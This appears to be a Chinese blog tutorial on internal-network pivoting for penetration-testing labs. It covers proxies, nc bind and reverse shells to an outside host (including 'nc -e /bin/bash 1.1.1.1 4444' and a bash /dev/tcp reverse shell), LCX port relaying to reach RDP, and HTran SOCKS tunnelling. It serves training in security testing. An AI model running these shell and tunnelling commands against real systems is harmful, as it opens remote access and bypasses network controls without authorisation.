內網滲透測試——內網轉發

內網轉發目的:

  • 滲透測試中,我們往往會面對十分複雜的內網環境。比如最常用的防火牆,它會限制特定端口的數據包出入。
  • A可以訪問B的80端口,但是不能訪問B的3389端口。
  • A可以訪問B,B可以訪問C,但是A不可以訪問C。需要通過B轉發數據,讓A和C進行通信。

代理:

(一)正向代理

  • 我們常說的代理就是指正向代理,正向代理的過程,它隱藏了真實的請求客戶端,服務端不知道真實的客戶端是誰,客戶端請求的服務都被代理服務器代替來請求。
  • 舉個例子在國內用瀏覽器訪問 www.google.com 時,因爲防火牆的原因拒絕連接,這時候你可以在國外搭建一臺代理服務器,讓代理幫你去請求google.com,代理把請求返回的相應結構再返回給我。

(二)反向代理

  • 反向代理是相對於服務器而言的,當我們請求 www.baidu.com 的時候,背後可能有成千上萬臺服務器爲我們服務,但具體是哪一臺,不需要知道,你只需要知道反向代理服務器是誰就好了,www.baidu.com 就是我們的反向代理服務器,反向代理服務器會幫我們把請求轉發到真實的服務器那裏去。比如說負載均衡。

內網轉發三種形式:

  • 反彈shell     
  • 在攻擊者機器,獲取受害者機器的命令行
  • 反彈端口
  • 受害者服務器的某一個端口不能訪問,我們通過反彈端口的形式,讓攻擊者能夠訪問該端口   也叫端口轉發
  • 反彈代理
  • 將攻擊者的流量,轉發到內網其他服務器上

實驗:

利用nc正向連接shell

  • 完成實驗:
  • 利用nc正向連接shell實驗(dmz大型靶場)
  • 要求:
  • 適用於,能夠訪問到受害者機器的開放端口。
  • 步驟一:
  • 被控服務器shell反彈到本地的4444端口,並監聽4444端口
  • nc –lvp 4444 –e /bin/bash
  • nc –lvp 4444 -e cmd.exe
  • 步驟二:
  • 攻擊機連接被控服務器的4444端口
  • nc -vv 被控服務器ip 4444
  • 注:
  • tcp 連接是外網攻擊機發起的,連接被控服務器。

利用nc反彈shell

  •  完成實驗:
  • 利用nc反彈shell實驗
  • 步驟一:
  • 外網服務器監聽4444端口
  • nc -lvp 4444
  • 步驟二:
  • 在被控服務器反彈shell到外網服務器的4444端口
  • nc –e /bin/bash 1.1.1.1 4444(反彈linux shell) TCP
  • nc –e cmd.exe 1.1.1.1 4444(反彈windows shell)
  • 注:
  • tcp連接是被控服務器發起,連接外網攻擊機。

反彈shell:

linux常見幾種方式

  • (1)利用系統自帶的bash和gawk
  • (2)利用腳本:
  •                          python
  •                          perl
  •                          ruby
  •                          lua
  •                          php
  •                          jsp
  •                          aspx
  • (3)利用第三方服務或工具:
  •                                                telnet
  •                                                xterm
  •                                                socat
  •                                                nc

利用linux bash反彈shell

  • 步驟一:
  • 外網服務器監聽4444端口
  • nc -lvp 4444
  • 步驟二:
  • 在被控服務器反彈shell到外網服務器的4444端口
  • bash -i >& /dev/tcp/外網ip/外網端口 0>&1

反彈端口

LCX——LCX反彈端口實驗

完成實驗:LCX轉發實驗一

  • 步驟一:
  • 外網服務器開啓監聽
  • lcx -listen 4444 12345
  • 步驟二:
  • 將被控主機端口轉發到外網服務器
  • lcx.exe –slave 公網 IP + 端口 被控服務器IP + 端口
  • lcx -slave 1.1.1.1 4444 127.0.0.1 80
  • 步驟三:
  • 在外網服務器連接本地12345端口
  • 然後mstsc 127.0.0.1:12345

完成實驗:LCX轉發實驗二

  • 環境:
  • 80端口不對外開放,但是8080端口對外開放
  • 步驟一:
  • 被控服務器的80端口轉發到本地的8080端口(本地端口轉發)
  • lcx -tran 8080 127.0.0.1 80
  • 步驟二:
  • 外網服務器連接被控服務器的8080端口
  • 瀏覽器訪問   ip:8080
  • 注:
  • 一般對外的服務器,80,8080 53,21等等,3389端口沒有對外開放,但是有其他端口對外開放,是不是可以本地端口轉發,轉發的端口必須沒有被其他服務佔用。

完成實驗:LCX轉發實驗三

  • 環境:
  • 內網主機不能訪問外網,但是可以訪問同網段的內網機器,同時80端口只能本地訪問,但是8080端口對外開放。
  • 步驟一:
  • 被控服務器的80端口轉發到本地的8080端口
  • lcx -tran 8080 127.0.0.1 80
  • 步驟二:
  • 在內網被控服務器上連接內網能夠對外訪問的服務器
  • lcx –slave 192.168.56.1 4444 192.168.56.101 8080
  • 步驟三:
  • 在能夠對外訪問的內網機器上監聽端口
  • lcx –listen 4444 12345
  • 步驟四:
  • 外網機器訪問192.168.56.1對外ip的12345端口
  • 在外網192.168.64.230 訪問192.168.64.103:12345 不是訪問192.168.56.1

reduh

  • Mstsc客戶端   –>   reDuh代理   –>  HTTPtunne  –>Web服務器  –>  3389

反彈代理

  • 內網滲透不光只是反彈一個shell,反彈一個端口,我們更需要對內網進行更深一步的掃描和滲透,這時候就需要設置找到一個代理服務器,所以出現了反彈代理,也叫反彈socket。
  • 充當外網和內網數據轉發的節點。

利用htran反彈代理

實驗:利用htran實現內網代理轉發:

  • 步驟一
  • 在外網服務器上執行命令HTran.exe –p –listen 9001 9000
  • 監聽兩個端口,9001用來接收內網機器,9000連接proxychain等socket5工具的數據
  • 步驟二
  • 在內網機器執行命令
  • Htran.exe -p -slave 1.1.1.1 9001 127.0.0.1 8009
  • 步驟三
  • 配置本機socket5工具,連接外網服務器上的9000
  • 注:
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章